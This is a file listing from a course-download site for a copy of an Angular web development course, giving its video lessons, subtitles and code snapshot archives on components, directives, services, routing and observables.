[FreeCourseSite.com] Udemy - Angular - The Complete Guide (2022 Edition)

mp4   Hot:426   Size:9.98 GB   Created:2022-06-10 09:13:57   Update:2024-05-18 05:39:26  

File List

  • 0. Websites you may like/[CourseClub.Me].url 122 B
    0. Websites you may like/[FreeCourseSite.com].url 127 B
    0. Websites you may like/[GigaCourse.Com].url 49 B
    01 - Getting Started/001 Course Introduction.mp4 13.8 MB
    01 - Getting Started/001 Course Introduction_en.srt 1.6 KB
    01 - Getting Started/002 What is Angular_.mp4 28.29 MB
    01 - Getting Started/002 What is Angular__en.srt 2.84 KB
    01 - Getting Started/003 Join our Online Learning Community.html 806 B
    01 - Getting Started/004 Angular vs Angular 2 vs Latest Angular Version.mp4 9.03 MB
    01 - Getting Started/004 Angular vs Angular 2 vs Latest Angular Version_en.srt 3.9 KB
    01 - Getting Started/005 CLI Deep Dive & Troubleshooting.html 2.45 KB
    01 - Getting Started/006 Node.js Download.html 629 B
    01 - Getting Started/007 Project Setup and First App.mp4 43.54 MB
    01 - Getting Started/007 Project Setup and First App_en.srt 15.55 KB
    01 - Getting Started/008 Editing the First App.mp4 74.78 MB
    01 - Getting Started/008 Editing the First App_en.srt 14.94 KB
    01 - Getting Started/009 The Course Structure.mp4 51.37 MB
    01 - Getting Started/009 The Course Structure_en.srt 5.96 KB
    01 - Getting Started/010 How to get the Most out of the Course.mp4 29.23 MB
    01 - Getting Started/010 How to get the Most out of the Course_en.srt 3.49 KB
    01 - Getting Started/011 What is TypeScript_.mp4 25.59 MB
    01 - Getting Started/011 What is TypeScript__en.srt 3.49 KB
    01 - Getting Started/012 Optional_ TypeScript Quick Introduction.html 491 B
    01 - Getting Started/013 A Basic Project Setup using Bootstrap for Styling.mp4 35.88 MB
    01 - Getting Started/013 A Basic Project Setup using Bootstrap for Styling_en.srt 7.27 KB
    01 - Getting Started/014 About the Course Code _ Code Snapshots.html 1.3 KB
    01 - Getting Started/30008934-first-app.zip 35.93 KB
    01 - Getting Started/30008944-first-app.zip 35.93 KB
    01 - Getting Started/30008948-project-template.zip 36.77 KB
    01 - Getting Started/33517488-project-template.zip 19.57 KB
    01 - Getting Started/37086526-app.component.zip 1.87 KB
    02 - The Basics/001 Module Introduction.mp4 2.76 MB
    02 - The Basics/001 Module Introduction_en.srt 1.22 KB
    02 - The Basics/002 How an Angular App gets Loaded and Started.mp4 21.95 MB
    02 - The Basics/002 How an Angular App gets Loaded and Started_en.srt 8.89 KB
    02 - The Basics/003 Components are Important_.mp4 8 MB
    02 - The Basics/003 Components are Important__en.srt 3.99 KB
    02 - The Basics/004 Creating a New Component.mp4 21.29 MB
    02 - The Basics/004 Creating a New Component_en.srt 9.31 KB
    02 - The Basics/005 Understanding the Role of AppModule and Component Declaration.mp4 16.09 MB
    02 - The Basics/005 Understanding the Role of AppModule and Component Declaration_en.srt 6.99 KB
    02 - The Basics/006 Using Custom Components.mp4 3.39 MB
    02 - The Basics/006 Using Custom Components_en.srt 1.44 KB
    02 - The Basics/007 Creating Components with the CLI & Nesting Components.mp4 11.06 MB
    02 - The Basics/007 Creating Components with the CLI & Nesting Components_en.srt 4.71 KB
    02 - The Basics/008 Working with Component Templates.mp4 9.59 MB
    02 - The Basics/008 Working with Component Templates_en.srt 4.07 KB
    02 - The Basics/009 Working with Component Styles.mp4 11.76 MB
    02 - The Basics/009 Working with Component Styles_en.srt 5.05 KB
    02 - The Basics/010 Fully Understanding the Component Selector.mp4 11.1 MB
    02 - The Basics/010 Fully Understanding the Component Selector_en.srt 4.46 KB
    02 - The Basics/011 [OPTIONAL] Assignment Solution.mp4 27.64 MB
    02 - The Basics/011 [OPTIONAL] Assignment Solution_en.srt 8.73 KB
    02 - The Basics/012 What is Databinding_.mp4 7.41 MB
    02 - The Basics/012 What is Databinding__en.srt 3.85 KB
    02 - The Basics/013 String Interpolation.mp4 16 MB
    02 - The Basics/013 String Interpolation_en.srt 6.62 KB
    02 - The Basics/014 Property Binding.mp4 27.62 MB
    02 - The Basics/014 Property Binding_en.srt 8.83 KB
    02 - The Basics/015 Property Binding vs String Interpolation.mp4 26.22 MB
    02 - The Basics/015 Property Binding vs String Interpolation_en.srt 4.26 KB
    02 - The Basics/016 Event Binding.mp4 17.32 MB
    02 - The Basics/016 Event Binding_en.srt 5.57 KB
    02 - The Basics/017 Bindable Properties and Events.html 618 B
    02 - The Basics/018 Passing and Using Data with Event Binding.mp4 23.81 MB
    02 - The Basics/018 Passing and Using Data with Event Binding_en.srt 5.52 KB
    02 - The Basics/019 Important_ FormsModule is Required for Two-Way-Binding_.html 432 B
    02 - The Basics/020 Two-Way-Databinding.mp4 11.52 MB
    02 - The Basics/020 Two-Way-Databinding_en.srt 3.45 KB
    02 - The Basics/021 Combining all Forms of Databinding.mp4 6.91 MB
    02 - The Basics/021 Combining all Forms of Databinding_en.srt 2.38 KB
    02 - The Basics/022 [OPTIONAL] Assignment Solution.mp4 27.39 MB
    02 - The Basics/022 [OPTIONAL] Assignment Solution_en.srt 6.86 KB
    02 - The Basics/023 Understanding Directives.mp4 5.24 MB
    02 - The Basics/023 Understanding Directives_en.srt 2.81 KB
    02 - The Basics/024 Using ngIf to Output Data Conditionally.mp4 11.73 MB
    02 - The Basics/024 Using ngIf to Output Data Conditionally_en.srt 4.91 KB
    02 - The Basics/025 Enhancing ngIf with an Else Condition.mp4 12.33 MB
    02 - The Basics/025 Enhancing ngIf with an Else Condition_en.srt 3.65 KB
    02 - The Basics/026 Styling Elements Dynamically with ngStyle.mp4 20.47 MB
    02 - The Basics/026 Styling Elements Dynamically with ngStyle_en.srt 6.36 KB
    02 - The Basics/027 Applying CSS Classes Dynamically with ngClass.mp4 12.05 MB
    02 - The Basics/027 Applying CSS Classes Dynamically with ngClass_en.srt 3.74 KB
    02 - The Basics/028 Outputting Lists with ngFor.mp4 20.34 MB
    02 - The Basics/028 Outputting Lists with ngFor_en.srt 4.36 KB
    02 - The Basics/029 [OPTIONAL] Assignment Solution.mp4 37.3 MB
    02 - The Basics/029 [OPTIONAL] Assignment Solution_en.srt 9.43 KB
    02 - The Basics/030 Getting the Index when using ngFor.mp4 25.93 MB
    02 - The Basics/030 Getting the Index when using ngFor_en.srt 3.69 KB
    02 - The Basics/30008970-basics-components.zip 39.09 KB
    02 - The Basics/30008976-basics-assignment-1-solution.zip 41.03 KB
    02 - The Basics/30008986-basics-databinding.zip 39.75 KB
    02 - The Basics/30008992-basics-assignment-2-solution.zip 36.12 KB
    02 - The Basics/30009000-basics-assignment-3-solution.zip 36.35 KB
    02 - The Basics/30009010-basics-components.zip 39.09 KB
    02 - The Basics/30009016-basics-databinding.zip 39.75 KB
    02 - The Basics/30009022-basics-directives.zip 39.81 KB
    02 - The Basics/30009028-basics-ngfor-addition.zip 35.25 KB
    03 - Course Project - The Basics/001 Project Introduction.mp4 762.93 KB
    03 - Course Project - The Basics/001 Project Introduction_en.srt 1.48 KB
    03 - Course Project - The Basics/002 Planning the App.mp4 6.7 MB
    03 - Course Project - The Basics/002 Planning the App_en.srt 7.88 KB
    03 - Course Project - The Basics/003 Creating a New App Correctly.html 1.79 KB
    03 - Course Project - The Basics/004 Setting up the Application.mp4 11.73 MB
    03 - Course Project - The Basics/004 Setting up the Application_en.srt 5.99 KB
    03 - Course Project - The Basics/005 Creating the Components.mp4 24.13 MB
    03 - Course Project - The Basics/005 Creating the Components_en.srt 12.53 KB
    03 - Course Project - The Basics/006 Using the Components.mp4 7.83 MB
    03 - Course Project - The Basics/006 Using the Components_en.srt 4.33 KB
    03 - Course Project - The Basics/007 Adding a Navigation Bar.mp4 22.04 MB
    03 - Course Project - The Basics/007 Adding a Navigation Bar_en.srt 6.88 KB
    03 - Course Project - The Basics/008 Alternative Non-Collapsable Navigation Bar.html 1.27 KB
    03 - Course Project - The Basics/009 Creating a _Recipe_ Model.mp4 15.62 MB
    03 - Course Project - The Basics/009 Creating a _Recipe_ Model_en.srt 6.08 KB
    03 - Course Project - The Basics/010 Adding Content to the Recipes Components.mp4 60.24 MB
    03 - Course Project - The Basics/010 Adding Content to the Recipes Components_en.srt 9.79 KB
    03 - Course Project - The Basics/011 Outputting a List of Recipes with ngFor.mp4 17.66 MB
    03 - Course Project - The Basics/011 Outputting a List of Recipes with ngFor_en.srt 6.18 KB
    03 - Course Project - The Basics/012 Displaying Recipe Details.mp4 22.17 MB
    03 - Course Project - The Basics/012 Displaying Recipe Details_en.srt 7.79 KB
    03 - Course Project - The Basics/013 Working on the ShoppingListComponent.mp4 5.07 MB
    03 - Course Project - The Basics/013 Working on the ShoppingListComponent_en.srt 2.26 KB
    03 - Course Project - The Basics/014 Creating an _Ingredient_ Model.mp4 7.2 MB
    03 - Course Project - The Basics/014 Creating an _Ingredient_ Model_en.srt 3.24 KB
    03 - Course Project - The Basics/015 Creating and Outputting the Shopping List.mp4 6.78 MB
    03 - Course Project - The Basics/015 Creating and Outputting the Shopping List_en.srt 2.94 KB
    03 - Course Project - The Basics/016 Adding a Shopping List Edit Section.mp4 10.01 MB
    03 - Course Project - The Basics/016 Adding a Shopping List Edit Section_en.srt 3.99 KB
    03 - Course Project - The Basics/017 Wrap Up & Next Steps.mp4 1.67 MB
    03 - Course Project - The Basics/017 Wrap Up & Next Steps_en.srt 1.16 KB
    03 - Course Project - The Basics/30027930-prj-start.zip 32.5 KB
    03 - Course Project - The Basics/30027934-prj-basics-final.zip 58.51 KB
    04 - Debugging/001 Understanding Angular Error Messages.mp4 18.8 MB
    04 - Debugging/001 Understanding Angular Error Messages_en.srt 6.6 KB
    04 - Debugging/002 Debugging Code in the Browser Using Sourcemaps.mp4 27.4 MB
    04 - Debugging/002 Debugging Code in the Browser Using Sourcemaps_en.srt 7.1 KB
    04 - Debugging/30027938-debugging.zip 32.29 KB
    05 - Components & Databinding Deep Dive/001 Module Introduction.mp4 1.43 MB
    05 - Components & Databinding Deep Dive/001 Module Introduction_en.srt 747 B
    05 - Components & Databinding Deep Dive/002 Splitting Apps into Components.mp4 26.1 MB
    05 - Components & Databinding Deep Dive/002 Splitting Apps into Components_en.srt 8.11 KB
    05 - Components & Databinding Deep Dive/003 Property & Event Binding Overview.mp4 3.9 MB
    05 - Components & Databinding Deep Dive/003 Property & Event Binding Overview_en.srt 2.24 KB
    05 - Components & Databinding Deep Dive/004 Binding to Custom Properties.mp4 24.12 MB
    05 - Components & Databinding Deep Dive/004 Binding to Custom Properties_en.srt 7.01 KB
    05 - Components & Databinding Deep Dive/005 Assigning an Alias to Custom Properties.mp4 6.04 MB
    05 - Components & Databinding Deep Dive/005 Assigning an Alias to Custom Properties_en.srt 2.47 KB
    05 - Components & Databinding Deep Dive/006 Binding to Custom Events.mp4 40.06 MB
    05 - Components & Databinding Deep Dive/006 Binding to Custom Events_en.srt 11.23 KB
    05 - Components & Databinding Deep Dive/007 Assigning an Alias to Custom Events.mp4 4.25 MB
    05 - Components & Databinding Deep Dive/007 Assigning an Alias to Custom Events_en.srt 1.14 KB
    05 - Components & Databinding Deep Dive/008 Custom Property and Event Binding Summary.mp4 6.5 MB
    05 - Components & Databinding Deep Dive/008 Custom Property and Event Binding Summary_en.srt 2.55 KB
    05 - Components & Databinding Deep Dive/009 Understanding View Encapsulation.mp4 40.29 MB
    05 - Components & Databinding Deep Dive/009 Understanding View Encapsulation_en.srt 5.96 KB
    05 - Components & Databinding Deep Dive/010 More on View Encapsulation.mp4 11.51 MB
    05 - Components & Databinding Deep Dive/010 More on View Encapsulation_en.srt 3.48 KB
    05 - Components & Databinding Deep Dive/011 Using Local References in Templates.mp4 19.88 MB
    05 - Components & Databinding Deep Dive/011 Using Local References in Templates_en.srt 5.85 KB
    05 - Components & Databinding Deep Dive/012 @ViewChild() in Angular 8+.html 1 KB
    05 - Components & Databinding Deep Dive/013 Getting Access to the Template & DOM with @ViewChild.mp4 26.81 MB
    05 - Components & Databinding Deep Dive/013 Getting Access to the Template & DOM with @ViewChild_en.srt 6.13 KB
    05 - Components & Databinding Deep Dive/014 Projecting Content into Components with ng-content.mp4 14.04 MB
    05 - Components & Databinding Deep Dive/014 Projecting Content into Components with ng-content_en.srt 4.41 KB
    05 - Components & Databinding Deep Dive/015 Understanding the Component Lifecycle.mp4 11.85 MB
    05 - Components & Databinding Deep Dive/015 Understanding the Component Lifecycle_en.srt 6.72 KB
    05 - Components & Databinding Deep Dive/016 Seeing Lifecycle Hooks in Action.mp4 63.16 MB
    05 - Components & Databinding Deep Dive/016 Seeing Lifecycle Hooks in Action_en.srt 15.73 KB
    05 - Components & Databinding Deep Dive/017 Lifecycle Hooks and Template Access.mp4 13.32 MB
    05 - Components & Databinding Deep Dive/017 Lifecycle Hooks and Template Access_en.srt 3.12 KB
    05 - Components & Databinding Deep Dive/018 @ContentChild() in Angular 8+.html 327 B
    05 - Components & Databinding Deep Dive/019 Getting Access to ng-content with @ContentChild.mp4 12.74 MB
    05 - Components & Databinding Deep Dive/019 Getting Access to ng-content with @ContentChild_en.srt 3.47 KB
    05 - Components & Databinding Deep Dive/020 Wrap Up.mp4 2.64 MB
    05 - Components & Databinding Deep Dive/020 Wrap Up_en.srt 1.07 KB
    05 - Components & Databinding Deep Dive/021 [OPTIONAL] Assignment Solution.mp4 65.79 MB
    05 - Components & Databinding Deep Dive/021 [OPTIONAL] Assignment Solution_en.srt 16.12 KB
    05 - Components & Databinding Deep Dive/15244002-lifecycle.pdf 10.87 KB
    05 - Components & Databinding Deep Dive/22230762-cmp-databinding-assignment-solution.zip 23.28 KB
    05 - Components & Databinding Deep Dive/30027962-cmp-databinding-start.zip 19.11 KB
    05 - Components & Databinding Deep Dive/30027972-cmp-databinding-final.zip 21.52 KB
    06 - Course Project - Components & Databinding/001 Introduction.mp4 1.54 MB
    06 - Course Project - Components & Databinding/001 Introduction_en.srt 1.11 KB
    06 - Course Project - Components & Databinding/002 Adding Navigation with Event Binding and ngIf.mp4 19.37 MB
    06 - Course Project - Components & Databinding/002 Adding Navigation with Event Binding and ngIf_en.srt 8.95 KB
    06 - Course Project - Components & Databinding/003 Passing Recipe Data with Property Binding.mp4 12.63 MB
    06 - Course Project - Components & Databinding/003 Passing Recipe Data with Property Binding_en.srt 5.88 KB
    06 - Course Project - Components & Databinding/004 Passing Data with Event and Property Binding (Combined).mp4 45.06 MB
    06 - Course Project - Components & Databinding/004 Passing Data with Event and Property Binding (Combined)_en.srt 12.95 KB
    06 - Course Project - Components & Databinding/005 Make sure you have FormsModule added_.html 467 B
    06 - Course Project - Components & Databinding/006 Allowing the User to Add Ingredients to the Shopping List.mp4 27.19 MB
    06 - Course Project - Components & Databinding/006 Allowing the User to Add Ingredients to the Shopping List_en.srt 9.28 KB
    06 - Course Project - Components & Databinding/30028008-prj-basics-final.zip 58.51 KB
    06 - Course Project - Components & Databinding/30028016-prj-cmp-databinding-final.zip 29.82 KB
    07 - Directives Deep Dive/001 Module Introduction.mp4 3.28 MB
    07 - Directives Deep Dive/001 Module Introduction_en.srt 1.96 KB
    07 - Directives Deep Dive/002 ngFor and ngIf Recap.mp4 15.11 MB
    07 - Directives Deep Dive/002 ngFor and ngIf Recap_en.srt 4.89 KB
    07 - Directives Deep Dive/003 ngClass and ngStyle Recap.mp4 9.02 MB
    07 - Directives Deep Dive/003 ngClass and ngStyle Recap_en.srt 3.75 KB
    07 - Directives Deep Dive/004 Creating a Basic Attribute Directive.mp4 19.62 MB
    07 - Directives Deep Dive/004 Creating a Basic Attribute Directive_en.srt 8.28 KB
    07 - Directives Deep Dive/005 Using the Renderer to build a Better Attribute Directive.mp4 26.96 MB
    07 - Directives Deep Dive/005 Using the Renderer to build a Better Attribute Directive_en.srt 9.74 KB
    07 - Directives Deep Dive/006 More about the Renderer.html 426 B
    07 - Directives Deep Dive/007 Using HostListener to Listen to Host Events.mp4 13.14 MB
    07 - Directives Deep Dive/007 Using HostListener to Listen to Host Events_en.srt 3.77 KB
    07 - Directives Deep Dive/008 Using HostBinding to Bind to Host Properties.mp4 14.78 MB
    07 - Directives Deep Dive/008 Using HostBinding to Bind to Host Properties_en.srt 4.12 KB
    07 - Directives Deep Dive/009 Binding to Directive Properties.mp4 37.66 MB
    07 - Directives Deep Dive/009 Binding to Directive Properties_en.srt 8.53 KB
    07 - Directives Deep Dive/010 What Happens behind the Scenes on Structural Directives.mp4 13.97 MB
    07 - Directives Deep Dive/010 What Happens behind the Scenes on Structural Directives_en.srt 3.71 KB
    07 - Directives Deep Dive/011 Building a Structural Directive.mp4 27.27 MB
    07 - Directives Deep Dive/011 Building a Structural Directive_en.srt 7.69 KB
    07 - Directives Deep Dive/012 Understanding ngSwitch.mp4 8.42 MB
    07 - Directives Deep Dive/012 Understanding ngSwitch_en.srt 3.49 KB
    07 - Directives Deep Dive/30028022-directives-start.zip 17.52 KB
    07 - Directives Deep Dive/30028026-directives-start.zip 17.52 KB
    07 - Directives Deep Dive/30028034-directives-final.zip 19.95 KB
    08 - Course Project - Directives/001 Building and Using a Dropdown Directive.mp4 20.95 MB
    08 - Course Project - Directives/001 Building and Using a Dropdown Directive_en.srt 8.23 KB
    08 - Course Project - Directives/002 Closing the Dropdown From Anywhere.html 766 B
    08 - Course Project - Directives/30028040-prj-directives-final.zip 29.6 KB
    09 - Using Services & Dependency Injection/001 Module Introduction.mp4 4.19 MB
    09 - Using Services & Dependency Injection/001 Module Introduction_en.srt 2.02 KB
    09 - Using Services & Dependency Injection/002 Why would you Need Services_.mp4 8.66 MB
    09 - Using Services & Dependency Injection/002 Why would you Need Services__en.srt 2.87 KB
    09 - Using Services & Dependency Injection/003 Creating a Logging Service.mp4 18.74 MB
    09 - Using Services & Dependency Injection/003 Creating a Logging Service_en.srt 4.46 KB
    09 - Using Services & Dependency Injection/004 Injecting the Logging Service into Components.mp4 56.39 MB
    09 - Using Services & Dependency Injection/004 Injecting the Logging Service into Components_en.srt 7.94 KB
    09 - Using Services & Dependency Injection/005 Creating a Data Service.mp4 28.8 MB
    09 - Using Services & Dependency Injection/005 Creating a Data Service_en.srt 8.6 KB
    09 - Using Services & Dependency Injection/006 Understanding the Hierarchical Injector.mp4 11.32 MB
    09 - Using Services & Dependency Injection/006 Understanding the Hierarchical Injector_en.srt 3.49 KB
    09 - Using Services & Dependency Injection/007 How many Instances of Service Should It Be_.mp4 9.77 MB
    09 - Using Services & Dependency Injection/007 How many Instances of Service Should It Be__en.srt 3.17 KB
    09 - Using Services & Dependency Injection/008 Injecting Services into Services.mp4 20.97 MB
    09 - Using Services & Dependency Injection/008 Injecting Services into Services_en.srt 6.8 KB
    09 - Using Services & Dependency Injection/009 Using Services for Cross-Component Communication.mp4 17.61 MB
    09 - Using Services & Dependency Injection/009 Using Services for Cross-Component Communication_en.srt 5.07 KB
    09 - Using Services & Dependency Injection/010 Services in Angular 6+.html 1.15 KB
    09 - Using Services & Dependency Injection/011 [OPTIONAL] Assignment Solution.mp4 41.43 MB
    09 - Using Services & Dependency Injection/011 [OPTIONAL] Assignment Solution_en.srt 12.35 KB
    09 - Using Services & Dependency Injection/30028046-services-start.zip 20.39 KB
    09 - Using Services & Dependency Injection/30028052-services-start.zip 20.39 KB
    09 - Using Services & Dependency Injection/30028068-services-final.zip 21.96 KB
    09 - Using Services & Dependency Injection/30028070-services-final.zip 21.96 KB
    09 - Using Services & Dependency Injection/30028096-services-assignment-solution.zip 42.8 KB
    10 - Course Project - Services & Dependency Injection/001 Introduction.mp4 2.44 MB
    10 - Course Project - Services & Dependency Injection/001 Introduction_en.srt 1.72 KB
    10 - Course Project - Services & Dependency Injection/002 Setting up the Services.mp4 3.53 MB
    10 - Course Project - Services & Dependency Injection/002 Setting up the Services_en.srt 1.58 KB
    10 - Course Project - Services & Dependency Injection/003 Managing Recipes in a Recipe Service.mp4 26.9 MB
    10 - Course Project - Services & Dependency Injection/003 Managing Recipes in a Recipe Service_en.srt 5.09 KB
    10 - Course Project - Services & Dependency Injection/004 Using a Service for Cross-Component Communication.mp4 15.1 MB
    10 - Course Project - Services & Dependency Injection/004 Using a Service for Cross-Component Communication_en.srt 6.4 KB
    10 - Course Project - Services & Dependency Injection/005 Adding the Shopping List Service.mp4 19.11 MB
    10 - Course Project - Services & Dependency Injection/005 Adding the Shopping List Service_en.srt 6.01 KB
    10 - Course Project - Services & Dependency Injection/006 Using Services for Pushing Data from A to B.mp4 8.47 MB
    10 - Course Project - Services & Dependency Injection/006 Using Services for Pushing Data from A to B_en.srt 3.74 KB
    10 - Course Project - Services & Dependency Injection/007 Adding Ingredients to Recipes.mp4 14.02 MB
    10 - Course Project - Services & Dependency Injection/007 Adding Ingredients to Recipes_en.srt 4.61 KB
    10 - Course Project - Services & Dependency Injection/008 Passing Ingredients from Recipes to the Shopping List (via a Service).mp4 25.88 MB
    10 - Course Project - Services & Dependency Injection/008 Passing Ingredients from Recipes to the Shopping List (via a Service)_en.srt 8.65 KB
    10 - Course Project - Services & Dependency Injection/30028114-prj-directives-final.zip 29.6 KB
    10 - Course Project - Services & Dependency Injection/30028118-prj-directives-final.zip 29.6 KB
    10 - Course Project - Services & Dependency Injection/30028122-prj-services-final.zip 30.75 KB
    11 - Changing Pages with Routing/001 Module Introduction.mp4 3.56 MB
    11 - Changing Pages with Routing/001 Module Introduction_en.srt 1.72 KB
    11 - Changing Pages with Routing/002 Why do we need a Router_.mp4 3.6 MB
    11 - Changing Pages with Routing/002 Why do we need a Router__en.srt 1.59 KB
    11 - Changing Pages with Routing/003 Understanding the Example Project.html 365 B
    11 - Changing Pages with Routing/004 Setting up and Loading Routes.mp4 36.71 MB
    11 - Changing Pages with Routing/004 Setting up and Loading Routes_en.srt 10.8 KB
    11 - Changing Pages with Routing/005 Navigating with Router Links.mp4 15.6 MB
    11 - Changing Pages with Routing/005 Navigating with Router Links_en.srt 7.37 KB
    11 - Changing Pages with Routing/006 Understanding Navigation Paths.mp4 75.08 MB
    11 - Changing Pages with Routing/006 Understanding Navigation Paths_en.srt 6.16 KB
    11 - Changing Pages with Routing/007 Styling Active Router Links.mp4 25.43 MB
    11 - Changing Pages with Routing/007 Styling Active Router Links_en.srt 6.18 KB
    11 - Changing Pages with Routing/008 Navigating Programmatically.mp4 10.53 MB
    11 - Changing Pages with Routing/008 Navigating Programmatically_en.srt 4.55 KB
    11 - Changing Pages with Routing/009 Using Relative Paths in Programmatic Navigation.mp4 28.02 MB
    11 - Changing Pages with Routing/009 Using Relative Paths in Programmatic Navigation_en.srt 6.69 KB
    11 - Changing Pages with Routing/010 Passing Parameters to Routes.mp4 13.59 MB
    11 - Changing Pages with Routing/010 Passing Parameters to Routes_en.srt 3.87 KB
    11 - Changing Pages with Routing/011 Fetching Route Parameters.mp4 16.72 MB
    11 - Changing Pages with Routing/011 Fetching Route Parameters_en.srt 5.17 KB
    11 - Changing Pages with Routing/012 Fetching Route Parameters Reactively.mp4 39.31 MB
    11 - Changing Pages with Routing/012 Fetching Route Parameters Reactively_en.srt 9.34 KB
    11 - Changing Pages with Routing/013 An Important Note about Route Observables.mp4 8.68 MB
    11 - Changing Pages with Routing/013 An Important Note about Route Observables_en.srt 3.75 KB
    11 - Changing Pages with Routing/014 Passing Query Parameters and Fragments.mp4 24.03 MB
    11 - Changing Pages with Routing/014 Passing Query Parameters and Fragments_en.srt 8.07 KB
    11 - Changing Pages with Routing/015 Retrieving Query Parameters and Fragments.mp4 14.25 MB
    11 - Changing Pages with Routing/015 Retrieving Query Parameters and Fragments_en.srt 4.43 KB
    11 - Changing Pages with Routing/016 Practicing and some Common Gotchas.mp4 26.58 MB
    11 - Changing Pages with Routing/016 Practicing and some Common Gotchas_en.srt 8.12 KB
    11 - Changing Pages with Routing/017 Setting up Child (Nested) Routes.mp4 24.6 MB
    11 - Changing Pages with Routing/017 Setting up Child (Nested) Routes_en.srt 5.6 KB
    11 - Changing Pages with Routing/018 Using Query Parameters - Practice.mp4 17.33 MB
    11 - Changing Pages with Routing/018 Using Query Parameters - Practice_en.srt 6.84 KB
    11 - Changing Pages with Routing/019 Configuring the Handling of Query Parameters.mp4 7.9 MB
    11 - Changing Pages with Routing/019 Configuring the Handling of Query Parameters_en.srt 2.34 KB
    11 - Changing Pages with Routing/020 Redirecting and Wildcard Routes.mp4 72.96 MB
    11 - Changing Pages with Routing/020 Redirecting and Wildcard Routes_en.srt 5.68 KB
    11 - Changing Pages with Routing/021 Important_ Redirection Path Matching.html 1.18 KB
    11 - Changing Pages with Routing/022 Outsourcing the Route Configuration.mp4 25.64 MB
    11 - Changing Pages with Routing/022 Outsourcing the Route Configuration_en.srt 5.51 KB
    11 - Changing Pages with Routing/023 An Introduction to Guards.mp4 8.83 MB
    11 - Changing Pages with Routing/023 An Introduction to Guards_en.srt 2.14 KB
    11 - Changing Pages with Routing/024 Protecting Routes with canActivate.mp4 38.93 MB
    11 - Changing Pages with Routing/024 Protecting Routes with canActivate_en.srt 10.74 KB
    11 - Changing Pages with Routing/025 Protecting Child (Nested) Routes with canActivateChild.mp4 8.54 MB
    11 - Changing Pages with Routing/025 Protecting Child (Nested) Routes with canActivateChild_en.srt 3.52 KB
    11 - Changing Pages with Routing/026 Using a Fake Auth Service.mp4 6.81 MB
    11 - Changing Pages with Routing/026 Using a Fake Auth Service_en.srt 1.99 KB
    11 - Changing Pages with Routing/027 Controlling Navigation with canDeactivate.mp4 114.79 MB
    11 - Changing Pages with Routing/027 Controlling Navigation with canDeactivate_en.srt 15.09 KB
    11 - Changing Pages with Routing/028 Passing Static Data to a Route.mp4 95.12 MB
    11 - Changing Pages with Routing/028 Passing Static Data to a Route_en.srt 7.99 KB
    11 - Changing Pages with Routing/029 Resolving Dynamic Data with the resolve Guard.mp4 153.4 MB
    11 - Changing Pages with Routing/029 Resolving Dynamic Data with the resolve Guard_en.srt 12.67 KB
    11 - Changing Pages with Routing/030 Understanding Location Strategies.mp4 38.21 MB
    11 - Changing Pages with Routing/030 Understanding Location Strategies_en.srt 6.23 KB
    11 - Changing Pages with Routing/031 Wrap Up.mp4 2.25 MB
    11 - Changing Pages with Routing/031 Wrap Up_en.srt 1.17 KB
    11 - Changing Pages with Routing/30028136-routing-start.zip 25.88 KB
    11 - Changing Pages with Routing/30028140-routing-start.zip 25.88 KB
    11 - Changing Pages with Routing/30028148-routing-final.zip 32.61 KB
    12 - Course Project - Routing/001 Planning the General Structure.mp4 2.73 MB
    12 - Course Project - Routing/001 Planning the General Structure_en.srt 2.21 KB
    12 - Course Project - Routing/002 Setting Up Routes.mp4 25.28 MB
    12 - Course Project - Routing/002 Setting Up Routes_en.srt 10.52 KB
    12 - Course Project - Routing/003 Adding Navigation to the App.mp4 13.44 MB
    12 - Course Project - Routing/003 Adding Navigation to the App_en.srt 2.2 KB
    12 - Course Project - Routing/004 Marking Active Routes.mp4 3.84 MB
    12 - Course Project - Routing/004 Marking Active Routes_en.srt 2.17 KB
    12 - Course Project - Routing/005 Fixing Page Reload Issues.mp4 12.17 MB
    12 - Course Project - Routing/005 Fixing Page Reload Issues_en.srt 3.87 KB
    12 - Course Project - Routing/006 Child Routes_ Challenge.mp4 6.74 MB
    12 - Course Project - Routing/006 Child Routes_ Challenge_en.srt 2.63 KB
    12 - Course Project - Routing/007 Adding Child Routing Together.mp4 16.33 MB
    12 - Course Project - Routing/007 Adding Child Routing Together_en.srt 5.41 KB
    12 - Course Project - Routing/008 Configuring Route Parameters.mp4 25.92 MB
    12 - Course Project - Routing/008 Configuring Route Parameters_en.srt 7.73 KB
    12 - Course Project - Routing/009 Passing Dynamic Parameters to Links.mp4 8.74 MB
    12 - Course Project - Routing/009 Passing Dynamic Parameters to Links_en.srt 3.63 KB
    12 - Course Project - Routing/010 Styling Active Recipe Items.mp4 4.77 MB
    12 - Course Project - Routing/010 Styling Active Recipe Items_en.srt 1.64 KB
    12 - Course Project - Routing/011 Adding Editing Routes.mp4 17.57 MB
    12 - Course Project - Routing/011 Adding Editing Routes_en.srt 4.26 KB
    12 - Course Project - Routing/012 Retrieving Route Parameters.mp4 13.17 MB
    12 - Course Project - Routing/012 Retrieving Route Parameters_en.srt 4.21 KB
    12 - Course Project - Routing/013 Programmatic Navigation to the Edit Page.mp4 33.6 MB
    12 - Course Project - Routing/013 Programmatic Navigation to the Edit Page_en.srt 5.88 KB
    12 - Course Project - Routing/014 One Note about Route Observables.mp4 2.6 MB
    12 - Course Project - Routing/014 One Note about Route Observables_en.srt 1.09 KB
    12 - Course Project - Routing/015 Project Cleanup.html 986 B
    12 - Course Project - Routing/30028178-prj-routing-final.zip 34.55 KB
    13 - Understanding Observables/001 Module Introduction.mp4 10.86 MB
    13 - Understanding Observables/001 Module Introduction_en.srt 6 KB
    13 - Understanding Observables/002 Install RxJS.html 299 B
    13 - Understanding Observables/003 Analyzing Angular Observables.mp4 7.22 MB
    13 - Understanding Observables/003 Analyzing Angular Observables_en.srt 2.97 KB
    13 - Understanding Observables/004 Getting Closer to the Core of Observables.mp4 23.9 MB
    13 - Understanding Observables/004 Getting Closer to the Core of Observables_en.srt 9.03 KB
    13 - Understanding Observables/005 Building a Custom Observable.mp4 17.92 MB
    13 - Understanding Observables/005 Building a Custom Observable_en.srt 6.46 KB
    13 - Understanding Observables/006 Errors & Completion.mp4 28.03 MB
    13 - Understanding Observables/006 Errors & Completion_en.srt 9.26 KB
    13 - Understanding Observables/007 Observables & You_.mp4 8.32 MB
    13 - Understanding Observables/007 Observables & You__en.srt 2.57 KB
    13 - Understanding Observables/008 Understanding Operators.mp4 56.21 MB
    13 - Understanding Observables/008 Understanding Operators_en.srt 11.52 KB
    13 - Understanding Observables/009 Subjects.mp4 28.49 MB
    13 - Understanding Observables/009 Subjects_en.srt 10.63 KB
    13 - Understanding Observables/010 Wrap Up.mp4 3.53 MB
    13 - Understanding Observables/010 Wrap Up_en.srt 1.56 KB
